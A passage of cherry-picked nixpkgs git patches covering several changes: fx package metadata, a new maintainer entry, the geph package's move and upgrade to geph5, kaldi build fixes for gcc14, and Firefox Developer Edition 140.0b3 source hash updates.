+    changelog = "https://github.com/antonmedv/fx/releases/tag/${finalAttrs.src.tag}";
     description = "Terminal JSON viewer";
-    mainProgram = "fx";
     homepage = "https://github.com/antonmedv/fx";
-    changelog = "https://github.com/antonmedv/fx/releases/tag/${src.rev}";
-    license = licenses.mit;
-    maintainers = with maintainers; [ figsoda ];
+    license = lib.licenses.mit;
+    mainProgram = "fx";
+    maintainers = with lib.maintainers; [ figsoda ];
   };
-}
+})

From 74f4a919ca020cc5941b45ad5b6fb1b52e132d7d Mon Sep 17 00:00:00 2001
From: MCSeekeri <mcseekeri@outlook.com>
Date: Tue, 15 Apr 2025 09:27:06 +0000
Subject: [PATCH 0331/4511] maintainers: add MCSeekeri

(cherry picked from commit 3eb4b5c8f2d0e13bec0b852384fa071f298fa88a)
---
 maintainers/maintainer-list.nix | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/maintainers/maintainer-list.nix b/maintainers/maintainer-list.nix
index aea0f60bb07b..82708c5aba67 100644
--- a/maintainers/maintainer-list.nix
+++ b/maintainers/maintainer-list.nix
@@ -15655,6 +15655,16 @@
     name = "John McParland";
     keys = [ { fingerprint = "39D2 171D D733 C718 DD21  285E B326 E14B 05D8 7A4E"; } ];
   };
+  MCSeekeri = {
+    email = "mcseekeri@outlook.com";
+    github = "mcseekeri";
+    githubId = 20928094;
+    name = "MCSeekeri";
+    keys = [
+      { fingerprint = "5922 79AB D9D6 85EB 9D16  754C ECDC AD89 5A38 4A12"; }
+      { fingerprint = "0762 A387 F160 76F1 116C  BF13 3276 6666 6666 6666"; }
+    ];
+  };
   McSinyx = {
     email = "cnx@loang.net";
     github = "McSinyx";

From 86543de5c6a613c9599f37a28e0e7e82e5fc6c63 Mon Sep 17 00:00:00 2001
From: MCSeekeri <mcseekeri@outlook.com>
Date: Mon, 21 Apr 2025 11:50:17 +0000
Subject: [PATCH 0332/4511] geph: move to by-name

(cherry picked from commit 9c446b23e05091fc607809eb80257c8e88637739)
---
 .../networking/geph/default.nix => by-name/ge/geph/package.nix} | 0
 pkgs/top-level/all-packages.nix                                 | 2 --
 2 files changed, 2 deletions(-)
 rename pkgs/{applications/networking/geph/default.nix => by-name/ge/geph/package.nix} (100%)

diff --git a/pkgs/applications/networking/geph/default.nix b/pkgs/by-name/ge/geph/package.nix
similarity index 100%
rename from pkgs/applications/networking/geph/default.nix
rename to pkgs/by-name/ge/geph/package.nix
diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix
index 8e486cdf386d..614567a00a09 100644
--- a/pkgs/top-level/all-packages.nix
+++ b/pkgs/top-level/all-packages.nix
@@ -8151,8 +8151,6 @@ with pkgs;
   gecode_6 = qt5.callPackage ../development/libraries/gecode { };
   gecode = gecode_6;
 
-  geph = recurseIntoAttrs (callPackages ../applications/networking/geph { pnpm = pnpm_8; });
-
   gegl = callPackage ../development/libraries/gegl {
     openexr = openexr_2;
   };

From caff4a0d71f98297736cfcb80edddfe9ef38e828 Mon Sep 17 00:00:00 2001
From: MCSeekeri <mcseekeri@outlook.com>
Date: Sat, 31 May 2025 08:10:28 +0000
Subject: [PATCH 0333/4511] geph -> geph5 : 4.99.16 -> 0.2.61

Co-authored-by: awwpotato <153149335+awwpotato@users.noreply.github.com>
Co-authored-by: penalty1083 <penalty1083@outlook.com>
(cherry picked from commit c8955ea96eb127374bd4e0e3d9073c03b46f8f49)
---
 pkgs/by-name/ge/geph/package.nix    | 211 ++++++++++++----------------
 pkgs/by-name/ge/geph/test-fix.patch |  27 ++++
 2 files changed, 119 insertions(+), 119 deletions(-)
 create mode 100644 pkgs/by-name/ge/geph/test-fix.patch

diff --git a/pkgs/by-name/ge/geph/package.nix b/pkgs/by-name/ge/geph/package.nix
index 3a8082687666..e8b6ba8cdbb2 100644
--- a/pkgs/by-name/ge/geph/package.nix
+++ b/pkgs/by-name/ge/geph/package.nix
@@ -1,142 +1,115 @@
 {
   lib,
-  stdenvNoCC,
   rustPlatform,
   fetchFromGitHub,
-  buildGoModule,
-  makeWrapper,
-  nodejs,
-  pnpm,
-  esbuild,
-  perl,
   pkg-config,
-  glib,
-  webkitgtk_4_0,
-  libayatana-appindicator,
-  cairo,
+  libxkbcommon,
   openssl,
+  rust-jemalloc-sys-unprefixed,
+  sqlite,
+  vulkan-loader,
+  wayland,
+  iproute2,
+  iptables,
+  libglvnd,
+  copyDesktopItems,
+  makeDesktopItem,
 }:
-
 let
-  version = "4.99.16";
-  geph-meta = with lib; {
-    description = "Modular Internet censorship circumvention system designed specifically to deal with national filtering";
-    homepage = "https://geph.io";
-    platforms = platforms.linux;
-    maintainers = with maintainers; [ penalty1083 ];
-  };
+  binPath = lib.makeBinPath [
+    iproute2
+    iptables
+  ];
 in
-{
-  cli = rustPlatform.buildRustPackage rec {
-    pname = "geph4-client";
-    inherit version;
+rustPlatform.buildRustPackage (finalAttrs: {
+  pname = "geph5";
+  version = "0.2.61";
 
-    src = fetchFromGitHub {
-      owner = "geph-official";
-      repo = pname;
-      rev = "v${version}";
-      hash = "sha256-6YWPsSRIZpvVCIGZ1z7srobDvVzLr0o2jBcB/7kbK7I=";
-    };
-
-    useFetchCargoVendor = true;
-    cargoHash = "sha256-igIYTlI3hqvlOTgdwouA9YussP9h0pOHUUTCjA2LE5U=";
-
-    nativeBuildInputs = [ perl ];
-
-    meta = geph-meta // {
-      license = with lib.licenses; [ gpl3Only ];
-    };
+  src = fetchFromGitHub {
+    owner = "geph-official";
+    repo = "geph5";
+    rev = "geph5-client-v${finalAttrs.version}";
+    hash = "sha256-qy1E5x5Fn+xwS5st6HkMrJu9nksXQQIyJf97FvNOKO4=";
   };
 
-  gui = stdenvNoCC.mkDerivation (finalAttrs: {
-    pname = "geph-gui";
-    inherit version;
+  cargoHash = "sha256-r97DsSsqp/KtgqtYQe92nz2qaOBcJF6w9ckfxpk8Cxg=";
 
-    src = fetchFromGitHub {
-      owner = "geph-official";
-      repo = "gephgui-pkg";
-      rev = "9f0d5c689c2cae67a4750a68295676f449724a98";
-      hash = "sha256-/aHd1EDrFp1kXen5xRCCl8LVlMVH0pY8buILZri81II=";
-      fetchSubmodules = true;
-    };
+  patches = [ ./test-fix.patch ];
 
-    gephgui-wry = rustPlatform.buildRustPackage {
-      pname = "gephgui-wry";
-      inherit (finalAttrs) version src;
+  postPatch = ''
+    substituteInPlace binaries/geph5-client/src/vpn/*.sh \
+      --replace-fail 'PATH=' 'PATH=${binPath}:'
+  '';
 
-      sourceRoot = "${finalAttrs.src.name}/gephgui-wry";
+  nativeBuildInputs = [
+    pkg-config
+    copyDesktopItems
+  ];
 
-      useFetchCargoVendor = true;
-      cargoHash = "sha256-pCj4SulUVEC4QTPBrPQBn5xJ+sHPs6KfjsdVRcsRapY=";
+  buildInputs = [
+    openssl
+    rust-jemalloc-sys-unprefixed
+    sqlite
+  ];
 
-      pnpmDeps = pnpm.fetchDeps {
-        inherit (finalAttrs) pname version src;
-        sourceRoot = "${finalAttrs.src.name}/gephgui-wry/gephgui";
-        hash = "sha256-0MGlsLEgugQ1wEz07ROIwkanTa8PSKwIaxNahyS1014=";
-      };
+  env = {
+    OPENSSL_NO_VENDOR = true;
+    LIBSQLITE3_SYS_USE_PKG_CONFIG = "1";
+  };
 
-      nativeBuildInputs = [
-        pkg-config
-        pnpm.configHook
-        makeWrapper
-        nodejs
-      ];
+  buildFeatures = [
+    "aws_lambda"
+    "windivert"
+  ];
 
-      buildInputs = [
-        glib
-        webkitgtk_4_0
-        libayatana-appindicator
-        cairo
-        openssl
-      ];
+  checkFlags = [
+    # Wrong test
+    "--skip=traffcount::tests::test_traffic_cleanup"
+    "--skip=traffcount::tests::test_traffic_count_basic"
+    # Requires network
+    "--skip=dns::tests::resolve_google"
+    # Never finish
+    "--skip=tests::test_blind_sign"
+    "--skip=tests::test_generate_secret_key"
+  ];
 
-      ESBUILD_BINARY_PATH = "${lib.getExe (
-        esbuild.override {
-          buildGoModule =
-            args:
-            buildGoModule (
-              args
-              // rec {
-                version = "0.15.10";
-                src = fetchFromGitHub {
-                  owner = "evanw";
-                  repo = "esbuild";
-                  rev = "v${version}";
-                  hash = "sha256-DebmLtgPrla+1UcvOHMnWmxa/ZqrugeRRKXIiJ9LYDk=";
-                };
-                vendorHash = "sha256-+BfxCyg0KkDQpHt/wycy/8CTG6YBA/VJvJFhhzUnSiQ=";
-              }
-            );
-        }
-      )}";
+  desktopItems = [
+    (makeDesktopItem {
+      name = "Geph5";
+      desktopName = "Geph5";
+      icon = "geph5";
+      exec = "geph5-client-gui";
+      categories = [ "Network" ];
+      comment = "Modular Internet censorship circumvention system designed specifically to deal with national filtering";
+    })
+  ];
 
-      pnpmRoot = "gephgui";
+  postInstall = ''
+    install -m 444 -D binaries/geph5-client-gui/icon.png $out/share/icons/hicolor/512x512/apps/geph5.png
+  '';
 
-      preBuild = ''
-        pushd gephgui
-        pnpm build
-        popd
-      '';
-    };
+  postFixup = ''
+    # Add required but not explicitly requested libraries
+    patchelf --add-rpath '${
+      lib.makeLibraryPath [
+        wayland
+        libxkbcommon
+        vulkan-loader
+        libglvnd
+      ]
+    }' "$out/bin/geph5-client-gui"
+  '';
 
-    dontBuild = true;
-
-    installPhase = ''
-      install -Dt $out/bin ${finalAttrs.gephgui-wry}/bin/gephgui-wry
-      install -d $out/share/icons/hicolor
-      for i in '16' '32' '64' '128' '256'
-      do
-        name=''${i}x''${i}
-        dir=$out/share/icons/hicolor
-        mkdir -p $dir
-        mv flatpak/icons/$name $dir
-      done
-      install -Dt $out/share/applications flatpak/icons/io.geph.GephGui.desktop
-      sed -i -e '/StartupWMClass/s/=.*/=gephgui-wry/' $out/share/applications/io.geph.GephGui.desktop
-    '';
-
-    meta = geph-meta // {
-      license = with lib.licenses; [ unfree ];
-    };
-  });
-}
+  meta = {
+    description = "Modular Internet censorship circumvention system designed specifically to deal with national filtering";
+    homepage = "https://github.com/geph-official/geph5";
+    changelog = "https://github.com/geph-official/geph5/releases/tag/geph5-client-v${finalAttrs.version}";
+    mainProgram = "geph5-client";
+    platforms = lib.platforms.unix;
+    license = lib.licenses.mpl20;
+    maintainers = with lib.maintainers; [
+      penalty1083
+      MCSeekeri
+    ];
+  };
+})
diff --git a/pkgs/by-name/ge/geph/test-fix.patch b/pkgs/by-name/ge/geph/test-fix.patch
new file mode 100644
index 000000000000..6df6cd4e589f
--- /dev/null
+++ b/pkgs/by-name/ge/geph/test-fix.patch
@@ -0,0 +1,27 @@
+diff --git a/binaries/geph5-client/src/traffcount.rs b/binaries/geph5-client/src/traffcount.rs
+index 5c91a27..61c0b3b 100644
+--- a/binaries/geph5-client/src/traffcount.rs
++++ b/binaries/geph5-client/src/traffcount.rs
+@@ -28,14 +28,14 @@ impl TraffCount {
+     }
+ 
+     // /// Create a new traffic counter with custom history length
+-    // pub fn with_history(max_seconds: usize) -> Self {
+-    //     let now = Instant::now();
+-    //     Self {
+-    //         bins: VecDeque::with_capacity(max_seconds),
+-    //         window_start: now,
+-    //         max_history_seconds: max_seconds,
+-    //     }
+-    // }
++    pub fn with_history(max_seconds: usize) -> Self {
++        let now = Instant::now();
++        Self {
++            bins: VecDeque::with_capacity(max_seconds),
++            window_start: now,
++            max_history_seconds: max_seconds,
++        }
++    }
+ 
+     /// Increment the traffic count with the given number of bytes
+     pub fn incr(&mut self, bytes: f64) {

From e60281d1711680a52cc1fa8fc9d365849e0da3b7 Mon Sep 17 00:00:00 2001
From: matthiasdotsh <git@matthias.sh>
Date: Sat, 31 May 2025 14:30:39 +0200
Subject: [PATCH 0334/4511] kaldi: add openfst patch for building with gcc14

vcunat kept the git authorship to the author of the openfst patch

(cherry picked from commit 3b26e40c5cf5d2847691807f2be8f2c8821768d7)
---
 pkgs/by-name/ka/kaldi/gcc14.patch | 24 ++++++++++++++++++++++++
 pkgs/by-name/ka/kaldi/package.nix |  4 +++-
 2 files changed, 27 insertions(+), 1 deletion(-)
 create mode 100644 pkgs/by-name/ka/kaldi/gcc14.patch

diff --git a/pkgs/by-name/ka/kaldi/gcc14.patch b/pkgs/by-name/ka/kaldi/gcc14.patch
new file mode 100644
index 000000000000..0798f7d17c93
--- /dev/null
+++ b/pkgs/by-name/ka/kaldi/gcc14.patch
@@ -0,0 +1,24 @@
+From 580bd3f0fea7ddc913329537070ab08fd3bf6033 Mon Sep 17 00:00:00 2001
+From: matthiasdotsh <git@matthias.sh>
+Date: Mon, 26 May 2025 11:22:01 +0200
+Subject: [PATCH] Fix build for gcc >=14
+
+---
+ src/include/fst/fst.h | 4 ++--
+ 1 file changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/src/include/fst/fst.h b/src/include/fst/fst.h
+index 20e6bb3..2cb1364 100644
+--- a/src/include/fst/fst.h
++++ b/src/include/fst/fst.h
+@@ -652,8 +652,8 @@ class FstImpl {
+   FstImpl &operator=(const FstImpl<Arc> &impl) {
+     properties_ = impl.properties_;
+     type_ = impl.type_;
+-    isymbols_ = impl.isymbols_ ? impl.isymbols_->Copy() : nullptr;
+-    osymbols_ = impl.osymbols_ ? impl.osymbols_->Copy() : nullptr;
++    isymbols_ = impl.isymbols_ ? std::unique_ptr<fst::SymbolTable>(impl.isymbols_->Copy()) : nullptr;
++    osymbols_ = impl.osymbols_ ? std::unique_ptr<fst::SymbolTable>(impl.osymbols_->Copy()) : nullptr;
+     return *this;
+   }
+
diff --git a/pkgs/by-name/ka/kaldi/package.nix b/pkgs/by-name/ka/kaldi/package.nix
index a689696c3b6a..235a84dd5338 100644
--- a/pkgs/by-name/ka/kaldi/package.nix
+++ b/pkgs/by-name/ka/kaldi/package.nix
@@ -69,7 +69,9 @@ stdenv.mkDerivation (finalAttrs: {
         owner = "kkm000";
         repo = "openfst";
         rev = "338225416178ac36b8002d70387f5556e44c8d05";
-        hash = "sha256-MGEUuw7ex+WcujVdxpO2Bf5sB6Z0edcAeLGqW/Lo1Hs=";
+        hash = "sha256-y1E6bQgBfYt1Co02UutOyEM2FnETuUl144tHwypiX+M=";
+        # https://github.com/kkm000/openfst/issues/59
+        postFetch = ''(cd "$out"; patch -p1 < '${./gcc14.patch}')'';
       };
     };
 

From 76ef8b0da84b10156441755ff221bae819e3e4a8 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Vladim=C3=ADr=20=C4=8Cun=C3=A1t?= <v@cunat.cz>
Date: Sat, 31 May 2025 14:39:19 +0200
Subject: [PATCH 0335/4511] kaldi: dontCheckForBrokenSymlinks = true;

It builds now.  The last successful Hydra build already has broken
symlinks inside:
  https://hydra.nixos.org/build/282311647
And the first failing one breaks because of gcc14:
  https://hydra.nixos.org/build/282824114/nixlog/2/tail
So I see nothing against unblocking the build for now.

(cherry picked from commit b24c4fd9cfa3f0cc304a796f92791f59c0e5174c)
---
 pkgs/by-name/ka/kaldi/package.nix | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/pkgs/by-name/ka/kaldi/package.nix b/pkgs/by-name/ka/kaldi/package.nix
index 235a84dd5338..9b9fd0f78874 100644
--- a/pkgs/by-name/ka/kaldi/package.nix
+++ b/pkgs/by-name/ka/kaldi/package.nix
@@ -62,6 +62,8 @@ stdenv.mkDerivation (finalAttrs: {
     cp -r ../egs $out/share/kaldi
   '';
 
+  dontCheckForBrokenSymlinks = true;  #TODO: investigate
+
   passthru = {
     sources = {
       # rev from https://github.com/kaldi-asr/kaldi/blob/master/cmake/third_party/openfst.cmake

From b0693cee30012ea0395a713998cdea910d126212 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Sat, 31 May 2025 17:34:30 +0200
Subject: [PATCH 0336/4511] kaldi: treefmt

(cherry picked from commit c18aba70cdd4f8242cd1c04213f6a3b01f6f7996)
---
 pkgs/by-name/ka/kaldi/package.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/by-name/ka/kaldi/package.nix b/pkgs/by-name/ka/kaldi/package.nix
index 9b9fd0f78874..2aa573fe7e41 100644
--- a/pkgs/by-name/ka/kaldi/package.nix
+++ b/pkgs/by-name/ka/kaldi/package.nix
@@ -62,7 +62,7 @@ stdenv.mkDerivation (finalAttrs: {
     cp -r ../egs $out/share/kaldi
   '';
 
-  dontCheckForBrokenSymlinks = true;  #TODO: investigate
+  dontCheckForBrokenSymlinks = true; # TODO: investigate
 
   passthru = {
     sources = {

From 46cf3c7f13493e7b6d44d0c6248c7badc68465e4 Mon Sep 17 00:00:00 2001
From: jopejoe1 <jopejoe1@missing.ninja>
Date: Sat, 31 May 2025 15:35:19 +0000
Subject: [PATCH 0337/4511] firefox-devedition-unwrapped: 140.0b2 -> 140.0b3

(cherry picked from commit 1afd346907f3801b240d4b296432ddb41f3eb539)
---
 .../browsers/firefox/packages/firefox-devedition.nix          | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/browsers/firefox/packages/firefox-devedition.nix b/pkgs/applications/networking/browsers/firefox/packages/firefox-devedition.nix
index 77b5c35b6748..b8b4443fe0ef 100644
--- a/pkgs/applications/networking/browsers/firefox/packages/firefox-devedition.nix
+++ b/pkgs/applications/networking/browsers/firefox/packages/firefox-devedition.nix
@@ -10,13 +10,13 @@
 buildMozillaMach rec {
   pname = "firefox-devedition";
   binaryName = pname;
-  version = "140.0b2";
+  version = "140.0b3";
   applicationName = "Firefox Developer Edition";
   requireSigning = false;
   branding = "browser/branding/aurora";
   src = fetchurl {
     url = "mirror://mozilla/devedition/releases/${version}/source/firefox-${version}.source.tar.xz";
-    sha512 = "4a369638dab1202f21f071a1eb48552888adf01e49ee4e029dfe7b42919312719004099b203a066057fd4d9ef9a684e5f95b0aa06ecf82cc88df0025f33f6368";
+    sha512 = "f7e2382ba9ad9a6fbea4a99ab541a4b70dcc4dd78d52230f5e600e9812eb796c890d424805b9c4d2ad7c981e3e509d654e9ae4e4c79c6a50880388e1b4c83bbe";
   };
 
   meta = {

From bd31af2f04866ad5c08ba15fe8810e5cba104229 Mon Sep 17 00:00:00 2001
From: jopejoe1 <jopejoe1@missing.ninja>
Date: Sat, 31 May 2025 15:35:58 +0000
Subject: [PATCH 0338/4511] firefox-devedition-bin-unwrapped: 140.0b2 ->
 140.0b3

(cherry picked from commit fafa423fd14a7a662ecb590f17e69c1384f46388)
---
 .../firefox-bin/developer-edition_sources.nix | 1650 ++++++++---------
 1 file changed, 825 insertions(+), 825 deletions(-)

diff --git a/pkgs/applications/networking/browsers/firefox-bin/developer-edition_sources.nix b/pkgs/applications/networking/browsers/firefox-bin/developer-edition_sources.nix
index e751c29b4659..784facf25911 100644
--- a/pkgs/applications/networking/browsers/firefox-bin/developer-edition_sources.nix
+++ b/pkgs/applications/networking/browsers/firefox-bin/developer-edition_sources.nix
@@ -1,2477 +1,2477 @@
 {
-  version = "140.0b2";
+  version = "140.0b3";
   sources = [
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/ach/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/ach/firefox-140.0b3.tar.xz";
       locale = "ach";
       arch = "linux-x86_64";
-      sha256 = "6304038c471eb73b1c8581f0d0812ba328de0f8d7db7f2b17f587e194754d2a0";
+      sha256 = "bb3f74c91d3b6e87f8446317f52676c307d2ae6fe4b28e0ce0a736460a12b316";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/af/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/af/firefox-140.0b3.tar.xz";
       locale = "af";
       arch = "linux-x86_64";
-      sha256 = "8cd9c38cce4f6672d7c1017e1309f65481af918314a4ceb43c6acd20ac1bba2e";
+      sha256 = "3c742108cc29a6d065b8296b4d9a71470703e88a62a611366448390868dbf77d";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/an/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/an/firefox-140.0b3.tar.xz";
       locale = "an";
       arch = "linux-x86_64";
-      sha256 = "2380b688d5f54edb3b0a5ec3fa7adc5f6f01513551a3d02bfed1a0ada05ddc05";
+      sha256 = "6bf6ded7f7d9dfc3e01c02155f1b6e49ca6a1bcb4742ac99b533f0c050c4813f";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/ar/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/ar/firefox-140.0b3.tar.xz";
       locale = "ar";
       arch = "linux-x86_64";
-      sha256 = "fde74a9a25843aa6141c796958f9cef020b3265a9578aa63a268365cc1be8e69";
+      sha256 = "29df6cebc687ed6b776b715d315b11c00f551c62641b6d55e080ee2d2ad21eb6";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/ast/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/ast/firefox-140.0b3.tar.xz";
       locale = "ast";
       arch = "linux-x86_64";
-      sha256 = "3112d67a4d293f672694661266791521d16e3cde918eedf65f3157e9a2b9f008";
+      sha256 = "7b54f6306df1d779f7c692c4cbf1060cc0f443c9234d0aecb09e1bc78e1de22c";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/az/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/az/firefox-140.0b3.tar.xz";
       locale = "az";
       arch = "linux-x86_64";
-      sha256 = "1904894b09994f8f9ffccc32a295237ffb94779787ff04e2f427416d0912f319";
+      sha256 = "45e2236c7e83eda417a0245f80601eaf087e8f310ba676761a8ed288faa46fbc";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/be/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/be/firefox-140.0b3.tar.xz";
       locale = "be";
       arch = "linux-x86_64";
-      sha256 = "9393160070ed056e5d1568e90f68ebdd13323e894b79fd05afea64f207231131";
+      sha256 = "7e46760ae218ca80e46c522a434ddc271032f0b889b13dd4073b5d93fbba5f6c";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/bg/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/bg/firefox-140.0b3.tar.xz";
       locale = "bg";
       arch = "linux-x86_64";
-      sha256 = "c521605cfd30f37dffb5b1063d18f40c35d843782480befa7b4e3a91c9960b80";
+      sha256 = "d11e32569be7aeafba8311125bb3e780d368884da19aaf361f96715598e50af3";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/bn/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/bn/firefox-140.0b3.tar.xz";
       locale = "bn";
       arch = "linux-x86_64";
-      sha256 = "3d31bd1fbd7d9cac8ce4c4a9f1ed2595d17319dbe640aa8d07b96fce80abba28";
+      sha256 = "f307138cb195a25fccfad8690cd9df89ed8628e9b231fa2b21dd1a656d74e5a4";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/br/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/br/firefox-140.0b3.tar.xz";
       locale = "br";
       arch = "linux-x86_64";
-      sha256 = "39c1e6cfca4001c63698e066753269d29328fd3188f9fd2ee8c89a35b72da079";
+      sha256 = "5b4c27e5808a1d19b510d5a931717ac55293a6cc02252f4c270bc0777e64595f";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/bs/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/bs/firefox-140.0b3.tar.xz";
       locale = "bs";
       arch = "linux-x86_64";
-      sha256 = "406e850b89cf20211936221b208bc164a8a73b02fc5d6a9bf791cdf7a7e9c439";
+      sha256 = "8ca82eddb17ecb7a541164be9a734b54f44e6feeea1e3462aa20fffee1467af5";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/ca-valencia/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/ca-valencia/firefox-140.0b3.tar.xz";
       locale = "ca-valencia";
       arch = "linux-x86_64";
-      sha256 = "0093fcdc460bc29b826f66da5711bba2b70fe584c41c830e2555f71f33111baf";
+      sha256 = "8e0e1e0f6aa9c491c6c25bb4d8e6c854f586a3a9a0440543cadfcb09143d1086";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/ca/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/ca/firefox-140.0b3.tar.xz";
       locale = "ca";
       arch = "linux-x86_64";
-      sha256 = "9ed9e2eeb261926aa79faa89122887e7ad0a07b2dd764f05ef140e709a413779";
+      sha256 = "101b5dc2694ce773c9d628706645bc27cf608345a1b8bf3894353764c1a13864";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/cak/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/cak/firefox-140.0b3.tar.xz";
       locale = "cak";
       arch = "linux-x86_64";
-      sha256 = "1b4b3619ef9114b3713a64aa5afec1f33861dc6335bcce5449b86676f4b6a0ee";
+      sha256 = "028afcc9ed2a40bf4535ee2bf331b36574dc159409b32b412748b2157bc2aced";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/cs/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/cs/firefox-140.0b3.tar.xz";
       locale = "cs";
       arch = "linux-x86_64";
-      sha256 = "89ada949f223c2579be305656a3dcbdead12465bde6d6ee2a464bb3c92455e77";
+      sha256 = "730515c63ad7fbd3543dcfae768a2495ada40402d78c44c3463965af3878a01f";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/cy/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/cy/firefox-140.0b3.tar.xz";
       locale = "cy";
       arch = "linux-x86_64";
-      sha256 = "4c18ce881a44473dd2e4e5ad1b7732bfafbac5519d92e036ee59f61319d2de4e";
+      sha256 = "fb73eaa612722e786bdcaf323bf6aff9103e0456b6f8287405d6ebb5f92d5fdb";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/da/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/da/firefox-140.0b3.tar.xz";
       locale = "da";
       arch = "linux-x86_64";
-      sha256 = "d00cecaa47c94d895a6b94e155e8e24fa43abdd83d9f96aacdc34a1c70b2d6eb";
+      sha256 = "3e8c814920f3877ec2f64fb717485c00afa09c9643b9db8a5607aa8d1e8c5838";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/de/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/de/firefox-140.0b3.tar.xz";
       locale = "de";
       arch = "linux-x86_64";
-      sha256 = "6039041822411f42a6757c4f53f85f1036c2094b8e8a8d8ec6a26f3c1abe521e";
+      sha256 = "2f2dd73b28f425a3754cbb684c16ba1a9c60b30381bf4736d2bf7ef7fc37d445";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/dsb/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/dsb/firefox-140.0b3.tar.xz";
       locale = "dsb";
       arch = "linux-x86_64";
-      sha256 = "9845539a1db4a76ce1f31047471815f2a2ca4adef51d2b56c6fe487f7b9eafb5";
+      sha256 = "2825a53c1b516060f4bcb833576fe1f76ad33000508ff32a87e7c00848f75d92";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/el/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/el/firefox-140.0b3.tar.xz";
       locale = "el";
       arch = "linux-x86_64";
-      sha256 = "b468c6b5ca6163aeb94ec45ef16fb856cc02a75fc55d939d2aab6181a777d8f8";
+      sha256 = "2afe5eb918e04946370312bca943c95dc61e325bc377b1505d187e08e0c93dce";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/en-CA/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/en-CA/firefox-140.0b3.tar.xz";
       locale = "en-CA";
       arch = "linux-x86_64";
-      sha256 = "ebadf4008439945b4909f0b4bc68515e89837ea871fe09c76dfd78e194469797";
+      sha256 = "119a7459fca0b0b7c628bc92768094a4a3fb3b178d22e68e85b976c69b55b766";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/en-GB/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/en-GB/firefox-140.0b3.tar.xz";
       locale = "en-GB";
